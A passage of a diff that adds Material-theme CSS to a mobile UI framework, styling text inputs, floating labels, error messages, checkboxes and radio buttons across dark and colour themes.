0, 0.35); +} +.md .list input[type="text"]::-ms-input-placeholder, +.md .list input[type="password"]::-ms-input-placeholder, +.md .list input[type="search"]::-ms-input-placeholder, +.md .list input[type="email"]::-ms-input-placeholder, +.md .list input[type="tel"]::-ms-input-placeholder, +.md .list input[type="url"]::-ms-input-placeholder, +.md .list input[type="date"]::-ms-input-placeholder, +.md .list input[type="datetime-local"]::-ms-input-placeholder, +.md .list input[type="time"]::-ms-input-placeholder, +.md .list input[type="number"]::-ms-input-placeholder, +.md .list select::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::placeholder, +.md .list input[type="password"]::placeholder, +.md .list input[type="search"]::placeholder, +.md .list input[type="email"]::placeholder, +.md .list input[type="tel"]::placeholder, +.md .list input[type="url"]::placeholder, +.md .list input[type="date"]::placeholder, +.md .list input[type="datetime-local"]::placeholder, +.md .list input[type="time"]::placeholder, +.md .list input[type="number"]::placeholder, +.md .list select::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea { + color: #212121; + font-size: 16px; + padding-top: 7px; + padding-bottom: 7px; +} +.md .list textarea.resizable { + height: 36px; +} +.md .list textarea::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .item-input-wrap:after, +.md .input:after { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .item-input-wrap { + min-height: 36px; +} +.md .item-input-wrap:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .item-input-wrap:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .item-input-wrap:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .input:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .input:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .item-label, +.md .item-floating-label { + font-size: 12px; + width: 100%; + color: rgba(0, 0, 0, 0.65); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 13px; + -webkit-transition-property: color, -webkit-transform; + transition-property: color, -webkit-transform; + transition-property: transform, color; + transition-property: transform, color, -webkit-transform; +} +.md .item-floating-label { + -webkit-transform: scale(1.33333333) translateY(18px); + transform: scale(1.33333333) translateY(18px); + color: rgba(0, 0, 0, 0.35); + width: auto; + max-width: 75%; + pointer-events: none; + -webkit-transform-origin: left; + transform-origin: left; +} +.md .item-floating-label ~ .item-input-wrap input::-webkit-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-webkit-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input:-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea:-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::placeholder { + color: transparent !important; +} +.md .item-input-with-value .item-floating-label, +.md .item-input-focused .item-floating-label { + -webkit-transform: scale(1) translateY(0); + transform: scale(1) translateY(0); +} +.md .item-input-with-value .item-floating-label { + color: rgba(0, 0, 0, 0.65); +} +.md .item-input .item-media { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.md .item-input .item-inner { + display: block; +} +.md .item-input .item-inner:after { + display: none !important; +} +.md .inline-labels .item-media, +.md .inline-label .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 14px; +} +.md .inline-labels .item-inner, +.md .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.md .inline-labels .item-label, +.md .inline-label .item-label, +.md .inline-labels .item-floating-label, +.md .inline-label .item-floating-label { + font-size: 16px; + width: 30%; + line-height: 1.5; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 7px; +} +.md .inline-labels .item-label + .item-input-wrap, +.md .inline-label .item-label + .item-input-wrap, +.md .inline-labels .item-floating-label + .item-input-wrap, +.md .inline-label .item-floating-label + .item-input-wrap { + margin-left: 8px; +} +.md .item-input-with-error-message, +.md .item-input-with-info, +.md div.input-with-error-message, +.md div.input-with-info, +.md span.input-with-error-message, +.md span.input-with-info { + padding-bottom: 20px; +} +.md .item-input-error-message, +.md .item-input-info, +.md .input-error-message, +.md .input-info { + font-size: 12px; + line-height: 1.4; + position: absolute; + top: 100%; + margin-top: 4px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + display: block; + left: 0; + right: 16px; +} +.md .item-input-info, +.md .input-info { + color: rgba(0, 0, 0, 0.45); +} +.md .item-input-error-message, +.md .input-error-message { + color: #f44336; + display: none; +} +.md .item-input-focused .item-label, +.md .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .item-input-focused .item-input-wrap:after, +.md .input-focused:after { + background: #2196f3; +} +.md .item-input-invalid .item-label, +.md .item-invalid .item-label, +.md .item-input-invalid .item-floating-label, +.md .item-invalid .item-floating-label { + color: #f44336; +} +.md .item-input-invalid .item-input-error-message, +.md .item-invalid .item-input-error-message, +.md .item-input-invalid .input-error-message, +.md .item-invalid .input-error-message { + display: block; +} +.md .item-input-invalid .item-input-info, +.md .item-invalid .item-input-info, +.md .item-input-invalid .input-info, +.md .item-invalid .input-info { + display: none; +} +.md .item-input-invalid .item-input-wrap:after, +.md .input-invalid:after { + background: #f44336; +} +.md .item-input-invalid .item-input-wrap:after, +.md .item-input-focused .item-input-wrap:after { + -webkit-transform: scaleY(2); + transform: scaleY(2); +} +.md .input-invalid:after, +.md .input-focused:after { + -webkit-transform: scaleY(2) !important; + transform: scaleY(2) !important; +} +.md .input-clear-button { + width: 24px; + height: 24px; + background: rgba(0, 0, 0, 0.12); + margin-top: -12px; +} +.md .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-size: 16px 16px; + opacity: 0.54; +} +.md .input-clear-button:before { + width: 48px; + height: 48px; + margin-left: -24px; + margin-top: -24px; +} +.md .item-input-wrap .input-clear-button { + bottom: 6px; + margin-top: 0; + top: auto; +} +.md .theme-dark input[type="text"], +.md .theme-dark input[type="password"], +.md .theme-dark input[type="search"], +.md .theme-dark input[type="email"], +.md .theme-dark input[type="tel"], +.md .theme-dark input[type="url"], +.md .theme-dark input[type="date"], +.md .theme-dark input[type="datetime-local"], +.md .theme-dark input[type="time"], +.md .theme-dark input[type="number"], +.md .theme-dark select, +.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark input[type="text"]::-webkit-input-placeholder, +.md .theme-dark input[type="password"]::-webkit-input-placeholder, +.md .theme-dark input[type="search"]::-webkit-input-placeholder, +.md .theme-dark input[type="email"]::-webkit-input-placeholder, +.md .theme-dark input[type="tel"]::-webkit-input-placeholder, +.md .theme-dark input[type="url"]::-webkit-input-placeholder, +.md .theme-dark input[type="date"]::-webkit-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-webkit-input-placeholder, +.md .theme-dark input[type="time"]::-webkit-input-placeholder, +.md .theme-dark input[type="number"]::-webkit-input-placeholder, +.md .theme-dark select::-webkit-input-placeholder, +.md .theme-dark textarea::-webkit-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]:-ms-input-placeholder, +.md .theme-dark input[type="password"]:-ms-input-placeholder, +.md .theme-dark input[type="search"]:-ms-input-placeholder, +.md .theme-dark input[type="email"]:-ms-input-placeholder, +.md .theme-dark input[type="tel"]:-ms-input-placeholder, +.md .theme-dark input[type="url"]:-ms-input-placeholder, +.md .theme-dark input[type="date"]:-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]:-ms-input-placeholder, +.md .theme-dark input[type="time"]:-ms-input-placeholder, +.md .theme-dark input[type="number"]:-ms-input-placeholder, +.md .theme-dark select:-ms-input-placeholder, +.md .theme-dark textarea:-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::-ms-input-placeholder, +.md .theme-dark input[type="password"]::-ms-input-placeholder, +.md .theme-dark input[type="search"]::-ms-input-placeholder, +.md .theme-dark input[type="email"]::-ms-input-placeholder, +.md .theme-dark input[type="tel"]::-ms-input-placeholder, +.md .theme-dark input[type="url"]::-ms-input-placeholder, +.md .theme-dark input[type="date"]::-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-ms-input-placeholder, +.md .theme-dark input[type="time"]::-ms-input-placeholder, +.md .theme-dark input[type="number"]::-ms-input-placeholder, +.md .theme-dark select::-ms-input-placeholder, +.md .theme-dark textarea::-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::placeholder, +.md .theme-dark input[type="password"]::placeholder, +.md .theme-dark input[type="search"]::placeholder, +.md .theme-dark input[type="email"]::placeholder, +.md .theme-dark input[type="tel"]::placeholder, +.md .theme-dark input[type="url"]::placeholder, +.md .theme-dark input[type="date"]::placeholder, +.md .theme-dark input[type="datetime-local"]::placeholder, +.md .theme-dark input[type="time"]::placeholder, +.md .theme-dark input[type="number"]::placeholder, +.md .theme-dark select::placeholder, +.md .theme-dark textarea::placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after, +.md .theme-dark .input:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-label, +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input-with-value .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .input-clear-button { + background: #fff; +} +.md .color-theme-red .item-input-focused .item-label, +.md .color-theme-red .item-input-focused .item-floating-label { + color: #f44336; +} +.md .color-theme-red .item-input-focused .item-input-wrap:after, +.md .color-theme-red .input-after:after { + background: #f44336; +} +.md .color-theme-green .item-input-focused .item-label, +.md .color-theme-green .item-input-focused .item-floating-label { + color: #4caf50; +} +.md .color-theme-green .item-input-focused .item-input-wrap:after, +.md .color-theme-green .input-after:after { + background: #4caf50; +} +.md .color-theme-blue .item-input-focused .item-label, +.md .color-theme-blue .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .color-theme-blue .item-input-focused .item-input-wrap:after, +.md .color-theme-blue .input-after:after { + background: #2196f3; +} +.md .color-theme-pink .item-input-focused .item-label, +.md .color-theme-pink .item-input-focused .item-floating-label { + color: #e91e63; +} +.md .color-theme-pink .item-input-focused .item-input-wrap:after, +.md .color-theme-pink .input-after:after { + background: #e91e63; +} +.md .color-theme-yellow .item-input-focused .item-label, +.md .color-theme-yellow .item-input-focused .item-floating-label { + color: #ffeb3b; +} +.md .color-theme-yellow .item-input-focused .item-input-wrap:after, +.md .color-theme-yellow .input-after:after { + background: #ffeb3b; +} +.md .color-theme-orange .item-input-focused .item-label, +.md .color-theme-orange .item-input-focused .item-floating-label { + color: #ff9800; +} +.md .color-theme-orange .item-input-focused .item-input-wrap:after, +.md .color-theme-orange .input-after:after { + background: #ff9800; +} +.md .color-theme-gray .item-input-focused .item-label, +.md .color-theme-gray .item-input-focused .item-floating-label { + color: #9e9e9e; +} +.md .color-theme-gray .item-input-focused .item-input-wrap:after, +.md .color-theme-gray .input-after:after { + background: #9e9e9e; +} +.md .color-theme-white .item-input-focused .item-label, +.md .color-theme-white .item-input-focused .item-floating-label { + color: #ffffff; +} +.md .color-theme-white .item-input-focused .item-input-wrap:after, +.md .color-theme-white .input-after:after { + background: #ffffff; +} +.md .color-theme-black .item-input-focused .item-label, +.md .color-theme-black .item-input-focused .item-floating-label { + color: #000000; +} +.md .color-theme-black .item-input-focused .item-input-wrap:after, +.md .color-theme-black .input-after:after { + background: #000000; +} +.md .item-input-focused.color-red .item-label, +.md .item-input-focused.color-red .item-floating-label { + color: #f44336; +} +.md .item-input-focused.color-red .item-input-wrap:after, +.md .input-after.color-red:after { + background: #f44336; +} +.md .item-input-focused.color-green .item-label, +.md .item-input-focused.color-green .item-floating-label { + color: #4caf50; +} +.md .item-input-focused.color-green .item-input-wrap:after, +.md .input-after.color-green:after { + background: #f44336; +} +.md .item-input-focused.color-blue .item-label, +.md .item-input-focused.color-blue .item-floating-label { + color: #2196f3; +} +.md .item-input-focused.color-blue .item-input-wrap:after, +.md .input-after.color-blue:after { + background: #f44336; +} +.md .item-input-focused.color-pink .item-label, +.md .item-input-focused.color-pink .item-floating-label { + color: #e91e63; +} +.md .item-input-focused.color-pink .item-input-wrap:after, +.md .input-after.color-pink:after { + background: #f44336; +} +.md .item-input-focused.color-yellow .item-label, +.md .item-input-focused.color-yellow .item-floating-label { + color: #ffeb3b; +} +.md .item-input-focused.color-yellow .item-input-wrap:after, +.md .input-after.color-yellow:after { + background: #f44336; +} +.md .item-input-focused.color-orange .item-label, +.md .item-input-focused.color-orange .item-floating-label { + color: #ff9800; +} +.md .item-input-focused.color-orange .item-input-wrap:after, +.md .input-after.color-orange:after { + background: #f44336; +} +.md .item-input-focused.color-gray .item-label, +.md .item-input-focused.color-gray .item-floating-label { + color: #9e9e9e; +} +.md .item-input-focused.color-gray .item-input-wrap:after, +.md .input-after.color-gray:after { + background: #f44336; +} +.md .item-input-focused.color-white .item-label, +.md .item-input-focused.color-white .item-floating-label { + color: #ffffff; +} +.md .item-input-focused.color-white .item-input-wrap:after, +.md .input-after.color-white:after { + background: #f44336; +} +.md .item-input-focused.color-black .item-label, +.md .item-input-focused.color-black .item-floating-label { + color: #000000; +} +.md .item-input-focused.color-black .item-input-wrap:after, +.md .input-after.color-black:after { + background: #f44336; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.md .icon-checkbox, +.md .checkbox i { + width: 18px; + height: 18px; + border-radius: 2px; + border: 2px solid #6d6d6d; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + background-color: transparent; +} +.md .icon-checkbox:after, +.md .checkbox i:after { + width: 18px; + height: 18px; + left: -2px; + top: -2px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + opacity: 0; + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox:after, +.md .checkbox input[type="checkbox"]:checked ~ i:after { + opacity: 1; +} +.md label.item-checkbox { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-checkbox > .icon-checkbox { + margin-right: 38px; +} +.md label.item-checkbox .item-content .item-media, +.md label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-checkbox.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-checkbox.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-checkbox, +.md .theme-dark .checkbox i { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .color-theme-red .checkbox .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .color-theme-green .checkbox .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .color-theme-blue .checkbox .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .color-theme-pink .checkbox .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .color-theme-yellow .checkbox .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .color-theme-orange .checkbox .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .color-theme-gray .checkbox .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .color-theme-white .checkbox .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .color-theme-black .checkbox .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-red input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .checkbox.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-green input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .checkbox.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .checkbox.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .checkbox.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .checkbox.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .checkbox.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .checkbox.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-white input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .checkbox.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-black input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .checkbox.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.md .icon-radio { + width: 20px; + height: 20px; + position: relative; + border-radius: 50%; + border: 2px solid #6d6d6d; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + display: block; +} +.md .icon-radio:after { + content: ''; + position: absolute; + width: 10px; + height: 10px; + left: 50%; + top: 50%; + margin-left: -5px; + margin-top: -5px; + background-color: #2196f3; + border-radius: 50%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; + -webkit-transform: scale(1); + transform: scale(1); +} +.md label.item-radio { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-radio > .icon-radio { + margin-right: 38px; +} +.md label.item-radio .item-content .item-media, +.md label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-radio.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-radio.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-radio { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red .radio .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green .radio .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink .radio .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ 